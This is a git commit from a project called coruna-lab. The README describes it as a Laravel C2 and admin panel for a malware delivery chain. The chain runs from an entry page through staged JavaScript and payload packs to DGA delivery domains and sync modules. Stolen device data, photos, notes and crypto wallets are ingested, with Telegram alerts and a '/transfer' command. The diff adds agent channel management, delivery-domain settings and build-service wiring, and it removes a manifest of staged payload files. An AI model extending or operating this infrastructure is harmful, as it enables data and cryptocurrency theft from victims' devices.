This commit is contained in:
hashbro
2026-08-08 05:09:01 +08:00
parent 03a40105fc
commit 74a67c3900
523 changed files with 669 additions and 5965 deletions
+18 -3
View File
@@ -46,13 +46,28 @@ ADMIN_PASSWORD=admin123
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
CORUNA_SESSION_KEY=
# Fallback delivery hosts (overridden by 系统设置 → 投放域名)
CORUNA_CHANNEL_DOMAINS=
# Channel link display + builder deployment_domains (when channel.domains is empty).
# Overridable by 系统设置 → 投放域名.
CORUNA_LAB_CHANNEL_DOMAINS=
# Builder reporting_domains (always from env; not overridden by channel.domains).
CORUNA_LAB_AMIDN_DOMAINS=
# Legacy aliases (optional):
# CORUNA_DEPLOYMENT_DOMAINS= / CORUNA_CHANNEL_DOMAINS= → CORUNA_LAB_CHANNEL_DOMAINS
# CORUNA_REPORTING_DOMAINS= → CORUNA_LAB_AMIDN_DOMAINS
# Sibling project coruna-lab-web build API (Bearer authentication)
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
CORUNA_BUILD_SERVICE_TOKEN=
# Aliases: CORUNA_LAB_WEB_URL / CORUNA_LAB_WEB_TOKEN
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
CORUNA_BUILD_SERVICE_TIMEOUT=600
# Optional complete origin/base path prepended before /channel/{id}/web/support.html
CORUNA_STATIC_SITE_BASE_URL=
CORUNA_STATIC_SITE_SCHEME=https
# Max channel links per agent (super-admin settings can override)
CORUNA_MAX_CHANNELS_PER_AGENT=5
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z
# CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/server/bin/7z
# CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
# Or set the system path (exec usually works; do not rely on is_executable):
# CORUNA_7Z_BIN=/usr/bin/7z
CORUNA_7Z_BIN=
+29 -5
View File
@@ -1,6 +1,30 @@
out/
projects/
__pycache__/
*.pyc
*.log
.DS_Store
source/web/**/_bak/
.env
.env.backup
.env.production
.phpactor.json
.phpunit.result.cache
/.fleet
/.idea
/.nova
/.phpunit.cache
/.vscode
/.zed
/auth.json
/node_modules
/public/build
/public/hot
/public/log/*
!/public/log/.gitignore
/public/storage
/public/sync
/public/web
/public/out
/public/channel
/storage/*.key
/storage/pail
/vendor
Homestead.json
Homestead.yaml
Thumbs.db
-442
View File
@@ -1,442 +0,0 @@
{
"description": "Minimal Coruna lab tree for delivery + deployment verification",
"campaign_base": "/web/34f5121f572d6742703eb84ec2f866a6/",
"sync_base": "/sync/",
"file_count": 71,
"roles": {
"daily_config": 1,
"entry": 1,
"primary_pack": 19,
"secondary_type0x01_pack": 10,
"stage_js": 14,
"sync_module": 26
},
"files": [
{
"role": "entry",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/support.html",
"source": "coruna-online/support.html",
"size": 48147
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/0c297489d8c9d5470bfce17b0d99da3338b44a18.js",
"source": "coruna-online/0c297489d8c9d5470bfce17b0d99da3338b44a18.js",
"size": 136309
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js",
"source": "coruna-online/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js",
"size": 14572
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js",
"source": "coruna-online/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js",
"size": 24305
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/291b914c574e1196039313595217367c44cca436.js",
"source": "coruna-online/291b914c574e1196039313595217367c44cca436.js",
"size": 19624
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js",
"source": "coruna-online/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js",
"size": 24426
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js",
"source": "coruna-online/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js",
"size": 14704
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/651774047bf8d72258a5f04785c9dabf5e793670.js",
"source": "coruna-online/651774047bf8d72258a5f04785c9dabf5e793670.js",
"size": 28408
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/700491384cc59bd25c3aa4dd670c8660963bffe3.js",
"source": "coruna-online/700491384cc59bd25c3aa4dd670c8660963bffe3.js",
"size": 29264
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/9075c25766e57019db4c86fac179b03ebf1b56e5.js",
"source": "coruna-online/9075c25766e57019db4c86fac179b03ebf1b56e5.js",
"size": 36024
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js",
"source": "coruna-online/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js",
"size": 18135
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js",
"source": "coruna-online/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js",
"size": 160887
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.js",
"source": "coruna-online/ad970e88980634bcb2eda0c998a27881686dd29e.js",
"size": 1775
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.min.js",
"source": "coruna-online/ad970e88980634bcb2eda0c998a27881686dd29e.min.js",
"size": 1316
},
{
"role": "stage_js",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/b099ff22b5c8e65654744fd307d81ad208009103.js",
"source": "coruna-online/b099ff22b5c8e65654744fd307d81ad208009103.js",
"size": 37022
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js",
"source": "coruna-online/payloads/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js",
"size": 129244
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js",
"source": "coruna-online/payloads/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js",
"size": 163864
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js",
"source": "coruna-online/payloads/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js",
"size": 142528
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js",
"source": "coruna-online/payloads/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js",
"size": 26360
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/62415a3d105a8c40c41b19cf456e8474fe441359.min.js",
"source": "coruna-online/payloads/62415a3d105a8c40c41b19cf456e8474fe441359.min.js",
"size": 168288
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js",
"source": "coruna-online/payloads/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js",
"size": 170168
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/694c829e379e12085de6158b85f32509f54f4796.min.js",
"source": "coruna-online/payloads/694c829e379e12085de6158b85f32509f54f4796.min.js",
"size": 133004
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js",
"source": "coruna-online/payloads/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js",
"size": 156536
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js",
"source": "coruna-online/payloads/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js",
"size": 152612
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js",
"source": "coruna-online/payloads/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js",
"size": 153384
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/99010a27e08b3312650c8d9f321958433e577a30.min.js",
"source": "coruna-online/payloads/99010a27e08b3312650c8d9f321958433e577a30.min.js",
"size": 166684
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js",
"source": "coruna-online/payloads/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js",
"size": 152288
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js",
"source": "coruna-online/payloads/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js",
"size": 154344
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js",
"source": "coruna-online/payloads/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js",
"size": 216944
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js",
"source": "coruna-online/payloads/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js",
"size": 26560
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/e406714e92671b5218496fcb6666734411cb2320.min.js",
"source": "coruna-online/payloads/e406714e92671b5218496fcb6666734411cb2320.min.js",
"size": 137736
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js",
"source": "coruna-online/payloads/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js",
"size": 191368
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js",
"source": "coruna-online/payloads/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js",
"size": 152776
},
{
"role": "primary_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js",
"source": "coruna-online/payloads/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js",
"size": 163864
},
{
"role": "secondary_type0x01_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.min.js",
"source": "coruna-online/c2_fetch/039c68f0ca742a85e94516818385a9eca2e204d8.min.js",
"size": 104472
},
{
"role": "secondary_type0x01_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js",
"source": "coruna-online/c2_fetch/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js",
"size": 104180
},
{
"role": "secondary_type0x01_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js",
"source": "coruna-online/c2_fetch/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js",
"size": 104180
},
{
"role": "secondary_type0x01_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.min.js",
"source": "coruna-online/c2_fetch/347367155da44f3efcc9053337913061079610b9.min.js",
"size": 104472
},
{
"role": "secondary_type0x01_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/630c2b42300333d91588353d43afab9ec8325e09.min.js",
"source": "coruna-online/c2_fetch/630c2b42300333d91588353d43afab9ec8325e09.min.js",
"size": 104180
},
{
"role": "secondary_type0x01_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js",
"source": "coruna-online/c2_fetch/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js",
"size": 104472
},
{
"role": "secondary_type0x01_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js",
"source": "coruna-online/c2_fetch/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js",
"size": 104472
},
{
"role": "secondary_type0x01_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/743312cafb58176af57b89098d94dca1c60f8d1e.min.js",
"source": "coruna-online/c2_fetch/743312cafb58176af57b89098d94dca1c60f8d1e.min.js",
"size": 104472
},
{
"role": "secondary_type0x01_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/7cb20652ef7156e931f894dd3d99f24601b80368.min.js",
"source": "coruna-online/c2_fetch/7cb20652ef7156e931f894dd3d99f24601b80368.min.js",
"size": 104180
},
{
"role": "secondary_type0x01_pack",
"dest": "web/34f5121f572d6742703eb84ec2f866a6/7f208248c748f97956fe4a7cf246c91235852e67.min.js",
"source": "coruna-online/c2_fetch/7f208248c748f97956fe4a7cf246c91235852e67.min.js",
"size": 104180
},
{
"role": "daily_config",
"dest": "sync/daily.html",
"source": "coruna-online/evidence/cases/2026-08-02-coruna-har/responses/har-36_6b5f8ad2b8e41bf097b4811c9fb082523a32f72dd83eed49ed09c5a7f9b04027.body",
"size": 2463
},
{
"role": "sync_module",
"dest": "sync/erupt_flee.js",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0000_be1e18ebff5f4d00b176ab07b867c559c278d129834c6d3a9cf7f7bfa5f36968.bin",
"size": 573345
},
{
"role": "sync_module",
"dest": "sync/swap-ritual.ts",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0001_851785fe8aa2a44e6b31b384b7ee3f3a977d1931302ba6777ab3b0bdaa562ef3.bin",
"size": 58034
},
{
"role": "sync_module",
"dest": "sync/short_thing.js",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0002_7a925c6556ec1ee17d16444e96f9bf0b8f4d56a623c79522df2f055012c13967.bin",
"size": 5249
},
{
"role": "sync_module",
"dest": "sync/aware_retreat.css",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0003_7138493424ee03b3dce1df29642229a21a4473cc3d1b91c5e1f11ec6ae643fe3.bin",
"size": 49954
},
{
"role": "sync_module",
"dest": "sync/wash_indicate.js",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0004_317791c9310b99b0abf7b1b96e9c2195870bf678c1ab295f4e6a6a35b4aff83f.bin",
"size": 55970
},
{
"role": "sync_module",
"dest": "sync/entry-praise.htm",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0005_34a33ef684a258e9c0cc338d017085f19e21bfc39129170114ab2efe964720f5.bin",
"size": 52498
},
{
"role": "sync_module",
"dest": "sync/card_alcohol.htm",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0006_ff4fcba8150969d82af198534b3e26da5d295b0ce2e825438c6d84d28f7276e4.bin",
"size": 48882
},
{
"role": "sync_module",
"dest": "sync/curious-tuna.ts",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0007_046db13c04267aab639b447752b669a20ff5f2889e1be942b156af88fb2813d5.bin",
"size": 61138
},
{
"role": "sync_module",
"dest": "sync/valve-okay.htm",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0008_0292fca56f8e863ae4f7bec0dfe43c3cc7b7e6d9bc612c6263682765ad43fac0.bin",
"size": 61250
},
{
"role": "sync_module",
"dest": "sync/squirrel-chuckle.css",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0009_7837c1602e8678c3ab36dd39ed1ca537948ea3e1620b6a7b10c3e2cea9cac639.bin",
"size": 93314
},
{
"role": "sync_module",
"dest": "sync/range_hockey.ts",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0010_6237f4e4548eec144d2619fcf979ed9a20c8d6329c9564f5fff8902278a9efc1.bin",
"size": 54674
},
{
"role": "sync_module",
"dest": "sync/exact_unveil.html",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0011_a9a3a84b541fa3f542c8f833b820f28470deaf497478a745e99817b478b66269.bin",
"size": 439490
},
{
"role": "sync_module",
"dest": "sync/cradle-barely.html",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0012_8afc716f12ac0c70ca8c360934382956704a27fd2d8d8ab8916e3de387d801fa.bin",
"size": 59122
},
{
"role": "sync_module",
"dest": "sync/enough_lend.ts",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0013_4683d2b7b9d299648d8daa97ae5a8a4fe006d2928dd7ce981c55bf3d909cd649.bin",
"size": 45938
},
{
"role": "sync_module",
"dest": "sync/page_human.css",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0014_a0fa9cb0bde69add68963772a0bc4367f33f3e7799f3e754d307dfb763da33fb.bin",
"size": 56738
},
{
"role": "sync_module",
"dest": "sync/mouse_announce.js",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0015_0102928b80534dd5ddb83df640edbc3003fb388fd2222dbbc1bcaf07254dfdf0.bin",
"size": 49522
},
{
"role": "sync_module",
"dest": "sync/canal_sugar.htm",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0016_80ed403291579931ff574983838d730f542a371444b2f5b49c9014b3e655495e.bin",
"size": 68802
},
{
"role": "sync_module",
"dest": "sync/left-case.css",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0017_0d674fd90723850a27ef68a26c6aedfe70001af92938d54d917e9b024144053d.bin",
"size": 66866
},
{
"role": "sync_module",
"dest": "sync/diagram-ship.css",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0018_1a8027c1decbb64cc017b19b3f07a45c320af7c947c3bb984c2d8c044bbf779c.bin",
"size": 58114
},
{
"role": "sync_module",
"dest": "sync/shrimp-artefact.htm",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0019_f8334192d70e8bb3e1355886e104d3254c9e06b72a5957a1da63d31331c5f034.bin",
"size": 1426386
},
{
"role": "sync_module",
"dest": "sync/fresh_sausage.js",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0020_2af8a807790551b7f4e22b79d57c1d5bdced2043a0a73641212d19f4150e9999.bin",
"size": 49762
},
{
"role": "sync_module",
"dest": "sync/win_wife.css",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0021_96a67da39e9146e3182f32a743644b340cd272ac53a5431b9a0941ab63825327.bin",
"size": 429026
},
{
"role": "sync_module",
"dest": "sync/future-destroy.htm",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0022_3805c4d0dbbbf99d87cba9153534bce98b39f7adff6d9d0cec9cd075bce8e661.bin",
"size": 497586
},
{
"role": "sync_module",
"dest": "sync/chunk_hen.ts",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0023_7a43e9169a122cec7b7ea67754a153afe89fdf5210b7db7867e6140b4b2fd985.bin",
"size": 79042
},
{
"role": "sync_module",
"dest": "sync/candy_ketchup.html",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0024_eec6fbe1777b346a5c1473112d3f799acf4d84cab3864440eaaccc3a6834e2d5.bin",
"size": 374546
},
{
"role": "sync_module",
"dest": "sync/horror-monster.ts",
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0025_24cfa8b258e31d6af11786626b6d684c194e4c6d864e1fc2f2476a066e348389.bin",
"size": 84114
}
]
}
+62 -49
View File
@@ -1,69 +1,82 @@
# coruna-lab
# Coruna Lab
启动 / 验证 Coruna 链路所需的最小文件树。构建与 patch **不再依赖** 旁路的 `coruna-online/`。
Laravel C2 + Admin。渠道静态资源构建与分发已拆到同级项目 [`../coruna-lab-web/`](../coruna-lab-web/)。
```text
coruna-lab/
├── source/ # 只读模板 / 明文输入(勿直接 patch)
│ ├── web/<original-channel>/
│ ├── sync/ # wire 模板
│ ├── sync_dylibs/ # sync 明文 dylib
│ ├── type0x01_dylibs/ # type-0x01 明文 dylib
│ └── sync_config/daily.body
├── server/public/
│ ├── web/<channel-id>/ # 每次 new_project 新增一个投递站
│ ├── sync/ # 每次 new_project 重建
│ └── out/{channel,seeds,domains}.json
├── doc/
├── tools/ # patch 脚本 + vendor/ 离线辅助库
└── MANIFEST.json
ios-fetch/
├── coruna-lab/ # ← 本仓库:C2 / Admin / 渠道元数据
└── coruna-lab-web/ # 构建 API + frontend 模板/工具 + 静态产物站
```
线上 base(模板同源):
## Requirements
```text
https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/
```
## 新建项目(推荐)
从 `source/` 生成 **`server/public/web/<新channel>/`**(自动 32 hex channel + 固定域名);每次重建 `sync/`,同域名则字节一致:
| Tool | Path / note |
|------|-------------|
| PHP 8.5+ | `/opt/homebrew/opt/php/bin/php`(勿用 PATH 里旧 7.3) |
| Composer | via brew PHP |
| MySQL 8.0 | preferred;sqlite 可 smoke |
| p7zip | `CORUNA_7Z_BIN` 或 `bin/7z`(C2 入库用) |
```bash
cd coruna-lab
pip3 install py7zr pycryptodome
/usr/bin/python3 tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' \
--reporting-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info'
export PATH="/opt/homebrew/opt/php/bin:$PATH"
php -v
```
见 `server/public/out/channel.json` / `domains.json`;入口:
## Setup
```bash
cp .env.example .env
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_BUILD_SERVICE_*
php artisan key:generate # once
php artisan migrate --seed
php artisan serve --host=0.0.0.0 --port=8000
```
Admin:
- Shell: `http://127.0.0.1:8000/admin`
- Login: `http://127.0.0.1:8000/admin/login` — `admin` / `admin123`(见 `.env` `ADMIN_*`)
## 新建渠道
本仓库只保存渠道元数据;静态产物由 `coruna-lab-web` 同步构建:
```dotenv
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
CORUNA_BUILD_SERVICE_TOKEN=replace-me
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
CORUNA_BUILD_SERVICE_TIMEOUT=600
CORUNA_LAB_CHANNEL_DOMAINS=www.dep1.example,www.dep2.example
CORUNA_LAB_AMIDN_DOMAINS=www.rep1.example,www.rep2.example
CORUNA_STATIC_SITE_BASE_URL=https://static.example
```
创建渠道时可填写 `domains`(可选);留空则展示链接与构建 `deployment_domains` 使用 `CORUNA_LAB_CHANNEL_DOMAINS`。构建时的 `reporting_domains` 始终使用 `CORUNA_LAB_AMIDN_DOMAINS`。
构建:`POST /v1/channels/{id}/build`
删除:`DELETE /v1/channels/{id}`
后台展示入口:
```text
https://<host>/web/<channel-id>/support.html
https://<host>/sync/daily.html
https://<host>/channel/<channel-id>/web/support.html
https://<host>/channel/<channel-id>/sync/daily.html
```
## 文档
构建服务部署见 [`../coruna-lab-web/docs/BUILD_API.md`](../coruna-lab-web/docs/BUILD_API.md)。
| 文档 | 内容 |
|------|------|
| [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` |
| [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 |
| [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 |
| [`tools/README.md`](tools/README.md) | 固定域名 + channel、`new_project`、分步补丁 |
## C2 / Admin 说明
## 链路(极简)
- Reporting:AES-256-ECB JSON + multipart `/api/user/check` 7z
- 入库:devices / apps / photos / notes / wallets + `c2_raw_logs`
- Telegram:新设备、新/变更钱包;`/transfer` 指令
```text
support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01 (.min.js)
→ Deployment DGA → /sync/daily.html → 26 模块
```bash
php artisan test
```
## 其它
## 注意
- 来源索引:`MANIFEST.json`(历史 provenance;运行时不读)
- **不要**对 `source/` 跑 `--apply`;产物只写 `server/public/web/<channel>/` 与 `sync/`
- 工具细节见 [`tools/README.md`](tools/README.md)
- 本仓库不再包含 `frontend/` 或本地 Python 构建脚本
- 迁移期可保留旧 `public/web`、`public/sync` 只读;新渠道只发到 `coruna-lab-web` 静态站
@@ -7,8 +7,10 @@ use App\Http\Controllers\Controller;
use App\Models\Channel;
use App\Models\User;
use App\Services\ChannelProjectService;
use App\Services\SettingsService;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Validation\Rule;
use Illuminate\Validation\ValidationException;
@@ -64,11 +66,15 @@ class ChannelController extends Controller
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Channel $c) {
$domains = Channel::normalizeDomainList($c->domains);
return [
'id' => $c->id,
'channel_id' => $c->channel_id,
'user_id' => (int) $c->user_id,
'agent_username' => $c->agentLabel(),
'domains' => $domains,
'domains_text' => implode("\n", $domains),
'remark' => $c->remark ?: '',
'status' => (int) $c->status,
'links' => $c->supportLinks(),
@@ -101,6 +107,7 @@ class ChannelController extends Controller
$data = $request->validate([
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
'user_id' => ['nullable', 'integer', 'min:0'],
'domains' => ['nullable', 'string', 'max:4000'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
@@ -110,24 +117,39 @@ class ChannelController extends Controller
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$domains = SettingsService::parseDomains($data['domains'] ?? null);
$this->assertAgentChannelQuota($userId);
try {
$channel = DB::transaction(function () use ($data, $userId, $projects) {
$channel = Channel::query()->create([
$projects->generate($data['channel_id'], $domains);
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
'msg' => $e->getMessage() ?: '渠道资源生成失败',
], 422);
}
try {
$channel = DB::transaction(function () use ($data, $userId, $domains) {
if ($userId > 0) {
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
if (! $userExists) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
// The user row lock serializes quota checks for this agent.
$this->assertAgentChannelQuota($userId);
}
return Channel::query()->create([
'channel_id' => $data['channel_id'],
'user_id' => $userId,
'domains' => [],
'domains' => $domains,
'remark' => $data['remark'] ?? null,
'status' => (int) ($data['status'] ?? 1),
]);
$projects->generate($channel->channel_id);
return $channel;
});
} catch (\Throwable $e) {
$projects->deleteWebTree($data['channel_id']);
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id']);
return response()->json([
'code' => 1,
@@ -163,6 +185,7 @@ class ChannelController extends Controller
} else {
$data = $request->validate([
'user_id' => ['nullable', 'integer', 'min:0'],
'domains' => ['nullable', 'string', 'max:4000'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
@@ -176,6 +199,9 @@ class ChannelController extends Controller
}
$channel->user_id = $userId;
}
if (array_key_exists('domains', $data)) {
$channel->domains = SettingsService::parseDomains($data['domains']);
}
if (array_key_exists('remark', $data)) {
$channel->remark = $data['remark'];
}
@@ -199,8 +225,17 @@ class ChannelController extends Controller
$this->authorizeChannel($channel);
$channelId = $channel->channel_id;
$channel->delete();
$projects->deleteWebTree($channelId);
try {
// Delete remotely first: a failed remote delete leaves the DB row available
// for a safe retry instead of orphaning an unreachable static project.
$projects->deleteWebTree($channelId);
DB::transaction(static fn () => $channel->delete());
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
